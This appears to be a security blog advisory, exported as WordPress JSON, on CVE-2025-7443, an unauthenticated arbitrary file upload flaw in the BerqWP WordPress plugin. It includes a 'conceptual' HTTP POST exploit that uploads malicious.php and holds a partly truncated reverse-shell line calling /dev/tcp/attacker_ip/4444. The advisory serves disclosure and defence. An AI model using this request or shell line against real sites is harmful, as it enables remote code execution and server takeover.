{"id":60311,"date":"2025-08-07T09:16:32","date_gmt":"2025-08-07T09:16:32","guid":{"rendered":""},"modified":"2025-09-03T19:04:17","modified_gmt":"2025-09-04T01:04:17","slug":"cve-2025-7443-critical-arbitrary-file-upload-vulnerability-in-berqwp-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-7443-critical-arbitrary-file-upload-vulnerability-in-berqwp-wordpress-plugin\/","title":{"rendered":"CVE-2025-7443: Critical Arbitrary File Upload Vulnerability in BerqWP WordPress Plugin<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

CVE-2025-7443 is a critical vulnerability found in the BerqWP – Automated All-In-One Page Speed Optimization for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress. This vulnerability allows unauthenticated attackers to upload arbitrary files to the victim’s server. The issue stems from the plugin’s lack of proper file type validation, meaning that any file, regardless of its format or content, can be uploaded through the store_javascript_cache.php file<\/a>. The vulnerability affects<\/a> all versions up to and including 2.2.42.
\nGiven the vast popularity of WordPress and its extensive use in various businesses and individual websites, this vulnerability poses a serious threat<\/a>. A successful exploit can lead to data leakage or even full system compromise, allowing attackers to execute arbitrary code remotely<\/a>.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-7443
\nSeverity: Critical (8.1\/10.0 – CVSS Severity Score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise<\/a>, data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

BerqWP WordPress Plugin<\/a> |<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability lies within the store_javascript_cache.php file of the BerqWP WordPress<\/a> plugin. This file does not properly validate the type of files being uploaded, allowing for arbitrary file uploads<\/a>. As a result, an attacker can exploit this to upload malicious payloads to the server, potentially leading to remote code<\/a> execution.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

A conceptual exploit might involve an HTTP POST request to the vulnerable file<\/a>, as shown below:<\/p>\n

POST \/wp-content\/plugins\/berqwp\/store_javascript_cache.php HTTP\/1.1\nHost: vulnerable-website.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.php\"\nContent-Type: application\/php\n& \/dev\/tcp\/attacker_ip\/4444 0>&1'\");\n?>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n
In this conceptual example, the attacker sends a POST request<\/a> with a malicious PHP file that, when executed, opens a reverse shell connecting back to the attacker. This example demonstrates the potential severity of this vulnerability; however, the actual exploit may vary based on the attacker’s capabilities and the specific configurations of the target system<\/a>.
\nFor security, it’s strongly recommended to apply the latest vendor patches or implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures.<\/p>\n","protected":false},"excerpt":{"rendered":"
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